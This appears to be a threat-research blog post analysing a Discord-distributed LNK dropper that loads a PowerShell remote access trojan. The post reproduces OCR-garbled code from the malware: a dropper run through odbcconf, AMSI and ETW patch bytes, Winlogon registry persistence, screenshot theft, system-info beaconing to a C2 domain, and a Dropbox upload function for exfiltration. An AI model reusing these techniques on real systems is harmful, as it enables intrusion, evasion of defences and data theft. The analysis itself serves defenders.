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Attackers keep availing the use of Windows shortcut (.LNK) files to deliver malware. These LNK files normally used
as shortcuts to programs or documents, are being abused to silently execute malicious payloads on target systems.

In the case under discussion, we discovered a new Windows shortcut (.LNK) malware distributed via Discord, drops
a ZIP file containing a malicious DLL, which is executed using the Windows command-line tool odbcconf.exe. This
clever use of Living-off-the-Land Binaries (LOLBIns) helps bypass security tools and makes detection significantly
harder. This malware was first seen in Israel and was mentioned in a tweet, highlighting its emergence in the threat
landscape.

The Dropped DLL is a multi-functional Remote Access Trojan (RAT) designed to execute commands from a
Command and Control (C2) server and collect system information from the infected machine. It employs several
techniques, including collecting antivirus product information, bypassing Anti-Malware Scan Interface (AMSI), and
patchingEtwEventWrite to disable Windows Event Tracing (ETW), making it harder for security solutions to detect its
malicious activities.

Infection Chain Overview
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Encoded script file
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Fig 1: Infection chain flow
Infection Flow Steps

Execution of the LNK file

@ Cyber Security
A Type Shortcut Size: 0.97 MB

Fig 2.1: Cyber Security.Ink

When the user clicks the .LNK file named “cyber security.Ink” downloaded from discord, it opens a fake job offer
decoy PDF titled “Cyber Security.pdf” and silently executes a PowerShell command that performs several tasks in the
background which has been detailed in this blog.
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Fig 2.2: Cyber Security.Pdf
PowerShell Command

Fig 2.3 shows the entire PowerShell command that the .LNK file targets to do. Let us now understand how this code
works.
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conhost --headless ecmd /c FOR /F "delims=s\ tokens=4" %f IN ('set~|findstr PSM')DO %f -w 1
$zf="Moq.zip";

$pd="Cyber security.pdf';

$ufg="Cyber security. Ink';

$E=$ENV:Temp:

$F-$env: PUBLIC+' "Nuget":

if((Is $ufg -ea si).count -eq @) {cd $E:

$ufg-(Is -rec +$ufg) [@].fullname:

$pd=$E+' "+[System.1@.Path]::GetFileNamell it hout Extension($ufg)+'.pdf'}
$b=[byte[]] (gc $ufg -en by);

function f(%$ar, $su){foreach($i in @o..(%ar.Length-$su.Length)){$to=%true;
tforeach($j in @.. ($su.Length-1)){if(%ar[$i+$j] -ne $su[$]]){$fo-$false;
break:

Frif($fo){return $i; } } return -1;

}

$i-f $b ([byte[]] [char[]1]'PDF");

$nb-$b[$i..%b.Length];

$s-[System.1@.FileStream]: :new($pd, [System. 1@. FileMode]:: Create);
$s.Write($nb, @, ($nb.length));

$s.close();

start $pd:

Remove-Item $ufg:

mkdir $F -f:

copy $pd $F$zf;

Expand-Archive $F$zf $F-T;

cd $F:

Start-Sleep -Seconds 3:

rm $zf:

odbcconf/a {regsvr "$Fog" }ﬂ

Fig 2.3: PowerShell Command

Initial command execution

conhost --headless cmd /c FOR /F "delims=s% tokens=4" %f IN ('set~|findstr PSM')DO %f -w 1

d'-C'Mn EELE

$pd="Cyber security.pdf’;
$ufg="Cyber security. Ink';
$E=$ENV: Temp:
$F-$env: PUBLIC+' "Muget":
if((Is $ufg -ea si).count -eq @) {cd $E:
$ufe-(Is -rec +%ufg) [0].fullname:
Fig 2.4: Initial command execution

As can be seen, it starts a conhost.exe in headless (without console window)mode so that the user can’t see any
command prompt window when the link is clicked. It then dynamically resolves the path where the PowerShell is
located and executes the PowerShell in a hidden mode.

Preparing File names and Paths

$zT="Moq.z1ip ;

$pd="Cyber security.pdf';
$ufg="Cyber security. Ink';
$E=$ENV: Temp:

$F-fenv: PUBLIC+ "Nuget":
TTLLiIs PUTE -Ba Bl)-coune —8q ©) jcu $E:
8  $ufg-(Is -rec +%ufg) [@].fullname:

Fig 2.5: Preparing File names and paths

= s N

It then prepares a working directory and file names to infect the victims’ device
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e $zf="Moq.zip’ — Name of the malicious ZIP file to extract.

o $pd="Cyber security.pdf’ — Name of the PDF file.

« $ufg="Cyber security.Ink’ — The malicious shortcut file itself.

o $E=$ENV:Temp — Uses the system’s Temp folder.

o $F=$env:PUBLIC+\Nuget' — Creates a NuGet folder in the Public directory to hide malicious files.

Extracting embedded Pdf file
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if((Is $ufg -ea si).count -eq @) {cd $E:
$ufg-(Is -rec +$ufg) [@].fullname:
$pd=%E+"' '+[System.10.Path]::GetFileNamell it hout Extension($ufg)+'.pdf']}

To-1byte[ 1] (gc SuTg —en by);
function f(%ar, $su){foreach(%$i in @..(%$ar.Length-%$su.Length)){$fo=%true;
foreach($j in @.. ($su.Length-1)){if(sar[$i+$]j] -ne $su[$]]){$fo-%false;
break:

YFif($fo){return $i; } } return -1;

¥

$i-f $b ([byte[]] [char[]]'PDF");

$nb-$b[$i..%b.Length];

$s-[System.1@.FileStream]::new($pd, [System. 10. FileMode]:: Create);
$s.Write($nb, @, ($nb.length));

To.C105C0 )

Fig 2.6: Exfracting 'Pd'f content

* Reads the raw LNK file content into a byte array $b.
¢ Defines a function() to find the %PDF header inside the LNK. Scans the byte array for magic header %PDF,
extracts the embedded PDF and writes it in a disk as “Cyber security.pdf “ and opens the pdf to distract

users.

Preparing zip payload
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Remove-Item $ufg:

mkdir $F -f:

copy $pd $F$zf;
Expand-Archive $F$zf $F-T;

cd $F:
Start-Sleep -Seconds 3:
rm $zf:
By o e e

Fig 2.7: Extracting Zip payload

« Opens the legitimate-looking pdf for distraction to trick the victim into thinking the LNK is safe.
¢ Finally, it deletes the cyber security.Ink to cover its traces. Creates the folder named Nuget in the Public user

area.

¢ Moves the ZIP payload into a folder named “NuGet” by extracting malicious DLLs from the ZIP and deletes the
ZIP after extraction to stay stealthy. Makes 3 seconds delay before deleting moqg.zip to let the Moq.dll
successfully load.

DLL Execution Using ODBCConf.exe (LOLBin)

()

IR

Start-Sleep -Seconds 3:

rm %71

odbcconf/a {regsvr "$Fog" 1;

Fig 2.8: Executing Mog.dll

Finally, the PowerShell script uses odbcconf.exe to execute the malicious Moq.dll using the following command:
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odbcconf.exe /a {regsvr "C:\Users\Public\Nuget\mog.dl1l"}

Here, the attacker abuses odbcconf.exe (a Windows legitimate binary) to silently register and execute the malicious
DLL without raising any alerts.

Analyzing malicious Moq.dlI

Now let’s analyze the interesting behavior of the dropped malicious dil “Moq.dII”.

» ThisPC » Local Disk(C:) » Users » Public » Muget

S

Mame Date modified Type Size
|%| Dapper.dll -2025 Application exten... ITKE
%] moq.dil 3-2025 Application exten... 391 KB
%] msvep140.dil 202 Application exten... 565 KB
%] Mewtonsoft.dll 18-08-2025 22:15 Application exten... 167 KB
|| NUnit 18-08-2025 23:06 File 645 KB
=] quer 30-08-202515:17 Text Document TKB
Sur) %] weruntime140.dl1 10-05-2023 06:01 Application exten... 107 KB
%] weruntime140_1.dIl 10-05-2023 06:01 Application exten... 43 KB

Fig 3.1: Files dropped under Nuget: Moq.dll and supporting diI's

Moq.dllis a Com DLL which has a single export function named “DIIRegisterServer”. Upon closer inspection, this
turns out to be part of a multi-functional Remote Access Trojan (RAT).

However, Moq.dll doesn’t work alone. When the malicious LNK is executed, it drops additional components like
Dapper.dil, a .NET library , Newtonsoft.dll ,other supporting dependency libraries and a file named Nunit with 645KB
size containing some random strings.

The Nunit file is later decoded and passed as an argument to a function within Dapper.dll which is subsequently
loaded by Moq.dll.

Here, what makes Moq.dll particularly interesting is how it smartly integrates these supporting DLLs. Instead of
carrying all malicious logic within itself, Moq.dll dynamically links Dapper.dil and Newtonsoft.dll to make the reversing
harder.

Let's now move forward with the dynamic analysis using the APl monitoring tool.

rvicing
M)
1l
Mo f,; Monitor Process e
Tom
uss Process Information
Type the location of a process, specfy the arguments {optional) and startup directary, and
API Monitor will start monitoring the process for you. Architecture:  54+bit
Process: | Ci\Windows\System32\regsvr32.exe Lj | NET: Mo
App Container: Mo
2 Arguments: | C:\Users\PubliciMugetimog.dil | Elevation: No
>
L rs : I
- Start in: | Criwindows\System32 Gy |
= Type %
Attach Using: | Static Import .
~
k| -
I'E
#  Module Address Offset Location ~ ||TTTT7C Loading Files from C:\Users‘
—————— Finished Loading 211% Files
Categories: 235

Fig 3.2: Monitor Moqg.dll Process API's
Here, we can monitor the regsvr32.exe process by passing the Moq.dll as an argument in the API Monitor.

AMSI Bypass via AmsiScanBuffer () patching:
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i..] kernelappeore.dil 23124 2IT33.290 PM moa.dil GetProchddress { 0x00007fce2340000, "LoadLibranyw )
) ) - 27 P i AN [ i Il
T bayptPrimitives.dil 2313 2:27:33.290 PM mog.dil LoadLibrary\ [ “amsi.dil’)
O uxtheme.dll 23134 2:2W33.250 PM mog.dll jcetProcAddress ( Ox “AmsiScanBuffer”)

1 mog.dil 23141 2:27:33.290 PM modg.dil G etProchddress [ O “GetCurrentProcess” |

] OLEAUT3Z.dII 23148 2:27:33.290 PM modg.dil joetCurrentProcess [ )
] MSVCP140.dI 23149 2:27:33.290 PM moa.dil fGetProcaddress ( 00000711 000, "WriteProcessMemary” )
1 VCRUNTIME140.dll 23156 2:27:33.290 PM moq.dil (WriteProcessMemory [ GetCurrentProcess(), (n00007Ffcd37b3860, 0x0000000000a7d65¢:, 6, ML
O VCRUNTIME140_1.dll 23161 2:27:33.290 PM moq.dil LoadLibraryW ( 'ntd\l.dﬁ }
1 mscoree.dll ¥ |23164  2:27:33.290 PM moa.dil GetProcAddress [ 0x00D00TF
> < >

ype Name Pre-Call Value ﬂ
PVOID # IpBaseAddress Ox00007FFcd37b3860 0000 b2 §7 00 07 20 o2 WL
PCVOID # IpBuffer o 000a7d65¢

7E T 44 ntira

Fig 3.3: AMSI Bypassing

During the dynamic analysis, we observed that Moq.dll first loads amsi.dll in memory using the LoadLibraryA function
and then retrieves the address of the AmsiScanBufferfunction using the GetProcAddress function. Once the
address of AmsiScanBuffer is obtained, the malware patches the first 6 bytes of the function with the bytes “B8 57 00
07 80 C3” using WriteProcessMemory() forcing the function AmsiScanBuffer to always quit.

B8 57 00 07 80 mov eax,0x80070057 Forces the function to always fail
C3 ret Immediately returns from the function

ETW Bypass via EtwEventWrite Patching

KEIMELdPPLUTE, Ul

beryptPrimitives.dil 23161 2:27:33.290 PM 1 mog.dil —— L wdd Ll
wxtheme.dil 23164 2:27:33.290 PM 1 maog.dll GetProcAddress [ 0 0000, “EtwEventWrite™ )
moq.dil 23171 2:27:33.290 PM 1 magq.dil WriteProcessMemory [ GetCurrentProcess(), Ox00007ffce2cbf1b0, (000000000087 dBSCE, 6, NL
OLEAUT3Z.dIl 23456 2:27:33.328 PM 1 modg.dil .-.|M|t|m-xe TP UTFS, U, Lucosr\om
MSVCR140.dll 23458 227:33328PM 1 moaq.dil WideCharToMultiByte ( CP_UTFE, 0, "zCucoSKo3Gp2bMHKUITHKSEI CuBfq@pr+wolkdFedsWe
VCRUMNTIME140.dll 23469 2Z27:33.375PM 1 mog.dil Sleep (3500)

[ VCRUNTIME140_1.dll 23471 2:27:36.900 PM 1 mog.dil CLRCreatelnstance ({9280188d-0e8e4867-b30c-7fa83884e8de}, {d332dbJe-bIb3-412

Pre-Call Value

= N2 I i § e T - §

& |pBaseAddress 000007 ce2cbf1b0 0000 B& 57 00 07 80 c3 WL

0x0000000000aTdESC
Fig 3.4: WtwEventWrite Patching

Disables Windows Event Tracing (ETW)logging by targeting the EtwEventWritefunction located in ntdll.dll. It
resolves the address of EtwEventWrite dynamically using GetProcAddress. After retrieving the address, the
malware patches the beginning of the EtwEventWrite function using WriteProcessMemory function and itwrites the
same 6 Byte patch used in Amsi Bypass.

WideCharToMutlitiByte

=241 EiLiInETY FIVI 1 muy.an LUDULILTAIYYY | reaman |

23164 2:27:33.290 PM 1 modg.dll GetProcAddress [ 0w c 0, "EtwEventWrite” )

2317 2:27:33.290 PM 1 modg.dll WriteProcessMemory [ GetCurrentProcess(), (x00007Ff ce2cbf1 b, Oxl000000000 ¢, &, MUL
23456  2:2T:33.328 PM 1 mog.dil WideCharToMultiByte [ CP_UTFS, 0, "zCucoSKo3Gp2bMHKUITHKS6) CuBfg8pr+wolkdFeds\W4e
23458  2:2T:33.328 PM 1 mog.dil WideCharToMultiByte [ CP_UTFS, 0, "zCucoSKo3Gp2bMHKUITHKS6) CuBfg8pr+wolkdFeds\W4e

Fig 3.5 :WideCharToMultiByte()
From the API Monitor results, we observed that Mog.dll uses the WideCharToMultiByteAPI to convert Unicode text

into a multibyte string. By examining the parameters passed to this API, we found that the converted content matches
“Nunit” file’s content, as shown in Figure 3.1.

This indicates that “Nunit” is not just contains random strings but is likely an important value related to the malware’s
script execution or configuration.
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EE8 2B090200
48:896C24 38
41:B9 FFFFFFFF
48: B96C24 30

ey g en
call moq. FFFCEOECGE644

mov gword ptr ss:[@rsp+3sll,rbp
mov rad,FFFFFFFF

mov gqword ptr

00007 FFCBOEA! 4C:BBCE mov rs,rsi r8:L"z2CucoSKo3Gp2bMHKUT THEKSEICUBTq8pr-
] B895C24 28 mov dword ptr
33Dz xor edx,edx

B2 E2FDOOOOD
48: 894424 20
4B: BEFE

FF15 D3320200
481 8B5C24 50
48: BECT
48:BB6C24 58

mov ecx,FDED
mov gword ptr
mov rdi,rax
€all gword ptr ds:[<wideCharToMultiByte:
mov rbx,qword ptr ss:lfirsp+soff

mov rax,rdi

mov rbp,qword ptr

[rsp+20] :D11RegisterServar+29E2

ss:firsp+ssj
ss off

48: BE7424 &0 mov rsi,qword ptr firsp
48:83C4 40 add rsp,40

SF pop rdi

c3 ret

cC int3

cC int3

cC int3

4C: 8BDC mov ril,rsp

AQsgaco 1o Fre11.0121 rhw

.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
- meas mmned are dos
F

ig 3.6: Breakpbinf at widechartToMultibyte

To further investigate this behavior, we analyzed the sample in x64dbg by setting a breakpoint on the
WideCharToMultiByte API call. This allowed us to inspect the source buffer and confirm exactly what data is being
converted during runtime.

[rsp+08]:D11RegisterServer+67F7
LFSp+10] : L"NowYouCanseaMea™
[rsp+18] : "zZCucoSKo3GpZbMHKU1 THES6ICUBTg8pr+wolkdFedsw4aewpOPp+,/Ti5tDj3aks

Fig 3.7: Conversion of Nunit using WideCharToMultiByte

After conversion, Nunit is decoded and passed as an argument to a function called “NowYouCanSeeME”. So, we
need to identify where this function is implemented and how it is used.

egean e

PRI | el A U, S O T A | U UL S R U R e ETT

mog.dll WideCharToMultiByte [ CP_UTFS, 0, "zCuco5Ko3Gp2bMHKUITHKBE)CuBfg8pr+wolkdFad9s\Wdz
mog.dll Sleep {3500}
madg.dll CLRCreatelnstance [ {9280188d-0eBe-4867-b30c-Tfa83884e8de], {d332db%e-bo9b3-4125-8207-a
v
>
Hex Buffer: 16 bytes (Pre-Call) * O X
E]a" | 2 E'z B, Bg

= {9280188d-0... J000  2d 12 80 52 Z2e De Ei 42 b3 Oc 7f a2 322 24 e2 de

= {d332db%e-b...
Fig 3.8: CLRCreatelnstance API

By going back to Api Monitor we observed that Moq.dll invokes CLRCreatelnstanceAPI.

CLRCreatelnstance is a Windows API used to create an instance of the Common Language Runtime (CLR) meta
host, allowing unmanaged applications to interact with the .NET environment which means it allows native
applications to call and run .NET code.

So,this behaviour strongly suggests that Moq.dIl uses Dapper.dll.

R11  00DOO0O00DOO00DZD v

R1Z  00000O0O001SDI1Y L"NowvYouCanseeMe"

R13  00DOOOO002AL11ESOD L"smidpath = 'c:\\users Ilpeskrop' \Nuget *\n$1ibpath
R14  00000000005060A0 Lrcyhusers' Il Desktop) \Nuget'\Dapper.d11"

RIS  00DOODOODDLID4ED L"ps.PIns"

Fig 3.9: Moq.dll loading Dapper.dll

script_code_m)

hell = P -
cript_code_m);

Fig 3.10 :NowYouCanSeeMe()
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We disassembled dapper.dll using Dnspy and located the NowYouCanseeMe() function within the metadata section.
This function accepts a decoded script as an argument and injects the script in PowerShell command. Finally, it
invokes PowerShell to execute the decoded Nunit script dynamically.

sMidpath = 'C:\Users|}pesktop\Nuget”

$libpath = 'Newtonsoft.dll'

$1yBWIASWECBSROUQTLGFK3ra0DEYNtRYPW3wy JPOPULVYEH1 Y JAZUTWEreUC= ("JE1he PEHjOBs1 AWl WYX JpYWISZUNVAWS0IDOHEMFhK10PW21udDE2X To6TWE4 VMESAWUKCfE2r4 TaESR jb3VudCASTDEKCndoaWx1KCRjb3VudCAtbPf
JOBSUHtMFhKLoPMTAPCHEMFhK10oPp7CHEMFhKLoPoHEMFhK1 0PICAKEMFhKL0PC2x 1 ZXAHtMENKL 0PMQOK I CAHtMFNK 10 PTCRI 3 VUdCATPTEKCNOKCEE2r 4TaESRTbnZ JhWEsa2pk2 j A9T04WNU1BoDAQZKN1Nmpoe P£H OBSt 6DEJCKO 11
N3dS9zUycKJIPEH] OBs ludmNt YWxramRmMT 0nRnh1VDJIZRCtWME1BC2 9MNE1YMOAQSXBPUTYYM2 InCEE2r4TaESRtbnz] bWEsa2pk ) 190yt 0bUHtMFhKLoPWNDEOUNA1 SH1 he k1 6NmVVVEX0ZWkzbFJL Jwokbi5 2Y21nbP FHIOBStqZRPEH OB
¥2PSAZVEZVTDISaFI2dXIr U 1sdEPIU] FPVEMSHEAWRYCKJIP £H3OBS ludmNt YWXramRmNDOnS 3 1CaFEtmFhK10PwQ1d1ZHpOVENS CEE2r 4T2ES 91WKBYbJd JTXBEQOENCEE 2T ATaESREbNZ I OWF s22pk 2] USJ1cwNK 1DOXNNYkdsaPEHI OBSV
YVZOTUZXV2VIZF1 LYUSMIwokbW52Y 21 hbP fHjOBSt qZPEEOBSY2PSdjRWZDVDhEQ2FYYVArc2 dXNHFaTHVRTX c4 YmdFRSCKIPEH  OBS 1udmNt YixramRmNz0ncFpqaFEORMEYdk1 FE2 r4TaE semnQaHBFC1d0NWL SK3REMNUNC FE2r4TAESR
bnZibWFsa2pk2 HtmFhK1oP9J25MckS rURFKC1RXUDVROPEH j OBShaMTM2NmC S0WLvd 3RhJwokbil5 2Y21 hbE £13 0BstqZ PEH] OBs Y5PSARAWhLbk1TdD14a PEHI OBs pQY 2M2bXFga 1V 11 1Ve S9vby cKIPFHI OB sLudnNt YHx ramRuMTAS J05
TT1XUESCWTZWZEFuMXBWM1 JwbXFwY 0MzZXYZJwokbW52Y21hbPfH]OBstqZP fH]OBSYXMTONV2 toYKNCbzFPbHhoKzZFNe PEH)OBSVZMjHtmFhK10Pz ZmE4Y kdVRWANCFE2r4TaEsRtbnZ joWE sa2pkZ) EyPSAXRUXtVPfHJOBS1VSTZNe116M
BYRDE4KzES5ZDhISUJtSycKJPfHOBs1udmNt YWXramRmMTMIJ090CcXMwbUNYMDFXTE1INNV1Ea]j FPfHjOBsU09vaCtEckx ITwokbW52Y21hbPfHIOBs tqZPfH] OBSYXNDONnckl DOEANWWSQV2pLo2hTNE 93TEFIvV1JabX1sNWUNC fE2r4TaESR
bnzjbWFsa2pkzjE1PSA3R2RWVNFSOEV4b1d6KOpYS PEE]OBs YAMPEHE] OBSNZS2NPU2p4aScKJIP fHjOBs 1 udmNt YW ramRmMTY 973 NSNHREWTBEE2 14 TAaESOXFUY1EZzd2V6a 2NnQVhmQWpmND1NJwokbi 52Y21hb PEH OBS tgqZ PEH] OBSYxNZ0
VEdmcmNvcPEH]OBSAJTINEOPEH  OBSAQVDI4ULFS4FhRZ2FL cFINCEE2r4TaESREbNZ JbWE sa2pka E4PSCANWhPEH] OB SQEE2r4 TaESsTRKZQe I hoZ2V1a S ONK3hpMKZNU2MECS CKIPEH] OB s LudmNt YWKramRmMT k9 3pEUPEH3 OBSKXVY9
MkwSSTVRUCIPRWANVINDS0 9TSHCZIWokbW 52Y21hb PEHOBS t QAP £H) OBSYyMDONTk1BAESIR1 YveWFXbDRSTEWr SEWZWXBSHNNNTUSNCEE2r4 TaESRtbnZ JbWE sa2pk 23 IxPSArR 1 ZNUNpPZn1 DeHIQVMFUU3BHC L oWwCEHEMEhKLOP e 1pth
CKJPEHIOBs 1udnNt YWxramRmMj I9JZNNazVVCe2NROHBXRE JxeEt FE2r4TaESWFHEMFhKLoPyOXVONMFoUnVEJwokbWS 2Y 21hbP £5 I OBStqZ PER OBS YyMz0nY 1 BEE2 r4TaE SMUVSZS OMSmxyLOFZQUxy TkInaTAzSj 2t ZmUnCEE 2r4TaEsRth
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Fig 3.11: Obfuscated malicious script

Here is the dumped decode script that is executed by the PowerShell. As we can see it is fully obfuscated as shown
in Fig 3.11.

$midpath = 'C:\users ll\Desktop\Nuget’
$1libpath 'Newtonsoft.dll®
$MaximumVariableCount = [intl6]: :MaxValue

$count = 1

while($count -le 10)

sleep 1

$count +=1

—

$mnvcmalkjdfe="Ne5IA17PfCubjhxkz]1BB+MeoCcu/sS’

$mnvcmalkjdfl="FxuT2YD+p@IAsOLAMX3GPIpOQ623b"

$mnvcmalkjdf2="+tmHOA1NRgeHyazMz6eUTLtei31Re’

$mnvemalkjdf3="YTFoL2RhReUrkRO1tIHR1OTCIXpOG'

$mnvecmalkjdta="KyBhXeCWedztTsyr/uYprn7cMpzCA’

$mnvcmalkijdfs="We6Mi9sMbGlhecaVNMFIWeHdYKaNL
Fig 3.12: Deobfuscated script

After deobfuscating the dumped PowerShell script, the content seems encrypted using Advanced Encryption
Standard (AES) algorithm. During runtime the script automatically decrypts the payload and stores the decrypted
data in a variable named $decdata .
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$aesobject.Padding = [System.Security.Cryptography.PaddingMode]: :PKCS7
$aesobject.Blocksize = 128

$aesobject.KeySize = 128

$aesobject.Key = [System.Text.Encoding]::UTF8.GetBytes("c7BSCMFE9yzXI2bK™)

$exactbase = $xc.Substring(3)

$bytefrombase = [System.Convert]::FromBase64string($exactbase)

$decryptor = $aesobject.CreateDecryptor();

$unencryptedData = $decryptor.TransformFinalBlock($bytefrombase, ©, $bytefrombase.Length);
[string]$decData = [System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]e)
$desktop = [Environment]::GetFolderPath("Desktop”)

$outputPath = Join-Path $desktop "decryted.txt"

# Write the value of $decData to the file
Set-Content -Path $outputPath -value $decData -Encoding UTF8

Write-Output "Saved to: $outputPath”

Fig 3.13: Encrypted script

The original malicious behavior of the script invokes PowerShell and executes the decrypted data stored in $decdata.
However for safer analysis, we modified the script to avoid executing the payload, the decoded output was redirected

to a file named "decypted.txt” for further analysis.
Analyzing the final PowerShell payload

After fully decrypting the PowerShell script that contains above mentioned multiple functions to perform several
malicious activities, the malware appears to be a multi functional Remote Access Trojan.

This RAT allows an attacker to remotely control the victim’s system, execute C2 commands, collect sensitive
information and send the collected information to a remote server.

Persistence Mechanism

<

"explorer.exe,$cline”
$true

.

)

art -FilePath "cmd.exe" -ArgumentlList "/c reg add ~"hkcu\software\microsoft\windows nt\currentversion\winlogon " /f /v Shell /t REG_SZ /d

“U$(ssv.Replace("™, \"))

art -FilePath "cmd.exe” -ArgumentlList "/c reg add ~"hkcu\software\microsoft\windows nt\currentversion\winlogon™" /f /v Shell /t REG_SZ /d ~"$($sv.Replace('™", "\""))
art -FilePath "cmd.exe” -ArgumentlList "/c reg add ~"hkcu\software\microsoft\windows nt\currentversion\winlogon™" /f /v Shell /t REG_SZ /d ~"$($sv.Replace('™", "\""))

Fig 4.1: Persistence Mechanism

The script achieves persistence by modifying the registry HKCU\SOF TWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\Shell.

It appends the PowerShell command line $cline to the existing shell value (explorer.exe) to make sure the script runs

at every user login along with explorer.exe.

Preparing C2 Communication server Address:
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$FirsttimeFlag = @

$Global:BotId = "©a@79c9224fd4d2a815454Tbd6390860"

$Global:HostAddress = ™"
$IntervalTime = [int]"30"
$tfile = "$enviwindir\temp\itt"

$hfile = "$enviwindir\temp\std"
if (Test-path $hfile)
{
$th = [System.I0.File]::ReadallText(ghfile).trim()
if ($th -ne [string]::Empty)
{
Fig 4.2: Defines Unique Bot Id

Defines a unique Bot Id and reads host address from a file in temp directory, if no address is found it falls back to the
following hard coded default C2 URL.

$Global:HostAddress = "https://hotchichenfly.info”

Fig 4.3: Hardcoded C2 URL

[ & Thoughtsand Reflections- APer X ¢ Newtab x ‘ + - a

& G | & httpsy/hotchichenfly.info

e
it
(1]

Fig 4.4: Hotchichenfly.info

131 if (Test-path -Path "$Midpath\gwer.txt™)

132

133 $Global:MachineID = Get-Content -Path "$Midpath\gqwer.txt™

134

135 blseif (!(Test-pPath -path "$Midpath\qwer.txt"))

136

137 $stringformid = "abcdefghijklmnopgrstuvixyz@123456789ABCDEFGHIIKLMNOPQRSTUVIWXYZ ™
138 $smidl = -Join($stringformid.tochararray() | Get-Random -Count 32 | % {[char]$ 1)
139 $smid2 = -Join($stringformid.tochararray() | Get-Random -Count 32 | % {[char]$_})
140 $Global:MachineID = $smid1l + $smid2

141 $Global:MachineID = $Global:MachineID + (Get-Sha256 -ClearString $Global:MachinelID).substring(48, 16)
142 Set-content -Value $£Global:MachineID -Path “$Midpath\gwer tot"

143}

Fig 4.5: Defines Unique Machine ID
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Checks if the qwer.txt file exists in the predefined “Midpath”. If it exists, it reads a unique machine id from the file to
identify the infected machine.If not, it randomly generates a machine id, saves it in qwer.txt for further identification.

}

[string|$Global:HostAddress = $confs|[1]
[string]$Global:NextAddress = $confs[2]

if($Global:NextAddress.Trim().Length -eq @)

{

$Global:NextAaddress 4 "https://$Global:BotId-$env:username.info"

}

Fig:4.6: Next Fallback Address

The Next Address is a backup server address that the malware uses if the main Command & Control (C2) server
doesn’t respond. If the Next Address is not in the configuration file, the malware generates one using its Bot ID and

the computer’s username.

Encode C2 Commands

T

3
)
)

function Save

f
f

param(
[validateMotNulloreEmpty () ]$command

)

$commandbase = [System.Convert]::ToBase64String([System.Text.Encoding]: :UTF8.GetBytes($command))
$commande = To-Save-Encode $commandbase
while (Is-Locked $Global:sacpath)

{
}

[system.I0.File]::AppendallText($Global:sacpath, "$commande n", [System.Text.Encoding]::UTF8)
return $commande

sleep -milliseconds 2ee

)
Fig 4.7: Save Encoded C2 Commands

The Save () function in Moq.dll helps the malware store C2 commands it needs to run later. It takes the command,

hides it by converting it to base64 and adding extra encoding to make it hard to understand and keep its action
hidden. The encoded command is then saved to the file specified by the variable $Global:sacpath in the temporary
folder and ensures the file isn’t being used by something else.

Remove C2 Commands

'

{
sleep -sec 1
¥
sttem.(ollect_ions .Ar‘ravl__ist]ﬂines = [Svste_m. 10. Fge] ::ReadAlllines ($Global:sacpath)
$lines.Remove($commandtosave)
[System.I0.File]::WriteAlllLines($Global:sacpath, $lines)

Fig:4.8: Removes C2 Commands

The Remove-C function ensures that the file specified by $Global:sacpath exists and isn’t being used by something
else and deletes all the commands from the temp directory.

Capture Screenshots Using Get-MultiPic()
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function shotthis($bounds)

{
$bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height
$graphic = [System.Drawing.Graphics]::FromImage($bitmap)
$graphic.CopyFromScreen($bounds.Location, [System.Drawing.Point]::Empty, $bounds.Size)
$MemoryStream = New-Object System.IO.MemoryStream
$bitmap.save($Memorystream, [System.Drawing.Imaging.ImageFormat]::Png)
$Bytes = $MemoryStream.ToArray()
$MemoryStream. Flush()
$MemoryStream.Dispose()
$based = [convert]::ToBase64String($Bytes)
$MemoryStream.Dispose()
$bitmap.Dispose()
$graphic.Dispose()
return $based

}

function Get-Multipric

{

param(

Fig 4.9: Screen Capturing

The Get-MultiPic () function takes screenshots on a Windows machine. It converts each screenshot to base64
encoded and sends it to a remote server.

It keeps track of how many screenshots were taken and retries failed uploads. Failed captures are saved locally for
later sending. This function essentially allows remote stealing of screen content.

System Info Collection and Command Loop

if($FirsttimeFlag -eq $True)

{

$erroraction = $ErroraActionPreference

$ErrorActionPreference = "SilentlyContinue’

$wmiQuery = "SELECT * FROM AntiVirusProduct

$antivirusProduct = gwmi -Namespace "root\SecurityCenter2" -Query $wmiQuery
$av = $AntivirusProduct.displayname|out-string

$operatingsystem = (Get-WmiObject Win32_ OperatingSystem).MName
try
{

$ip = (Invoke-WebRequest https://ifconfig.me/ip -UseBasicParsing).Content.Trim()

}

catch

Fig 4.10: Security Products Info

This part of the script controls the malware’s main operation. On first execution, it collects system information like
AntiVirus software, Operating System, IP address, username, and install path, encrypts it, and sends it to the
attacker. On subsequent runs, it skips the initial data collection and instead checks for any pending commands to
execute. Then, it enters an infinite loop where it periodically contacts the attacker’s server to fetch new commands,
processes them, and executes them.

J

$installpath = [Environment]::GetCommandLineArgs()[o]
$regname = (gwmi win32 computersystem).Manufacturer
$basebotid = ToBase $env:computername

$encCN = ToEncrypt $EncryptKey $env:computername
$encUN = Tokncrypt $Encryptkey $env:username

$enc0S = ToEncrypt $EncryptKey $operatingsystem
$encIP = ToEncrypt $EncryptKey $ip

$encinspath = ToEncrypt $EncryptKey $installpath
$encRN = ToEncrypt $Encryptkey $regname

$encAV = ToEncrypt $EncryptKey $av

$infopacket = "{ "BotId ": "$basebotid ",  "CN ": " "$encCN ", "UN ": "$encUN ", "0S ": "$encos ", "IP"": "$encIP ", "InsPath™":  "$er
$keyId = (New-Guid).Guid.replace("-","")
$infoIp = $Global:HostAddress + "/$keyId/ds5231396d344bcaggdfo2317aefdass/p”

send-RegPacket -packet $infopacket -url $infoIp
$ErrorActionPreference = $erroraction

Fig 4.11: System Info Collection and Command Loop

Steals file via DropBox-Upload
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function DropBox-Upload {
param (
[string]$Token,
[string]$File
)
$outputFile = Split-Path $File -leaf
$TargetFilePath="/$outputFile"”
$arg = '{ "path": "' + $TargetFilePath + '", "mode": “"add", "autorename”: true, "mute": false }
$authorization = "Bearer " + $Token
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]
$headers.Add("Authorization”, $authorization)
$headers.Add("Dropbox-API-Arg", $arg)
$headers.Add(" Content-Type”, "application/octet-stream’)
$response = Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $File -Headers $headers
return ($response | Out-String)

}
Fig 4.12: DropBox-upload API

The Dropbox-Upload function sends a file from the infected machine to a Dropbox account using a token. Dropbox is
a cloud storage service that allows users to store. It sets the file name as the destination, prepares the necessary
headers, and uploads the file via the Dropbox API. The response confirms the upload. This allows the attacker to
steal and upload files to the cloud.

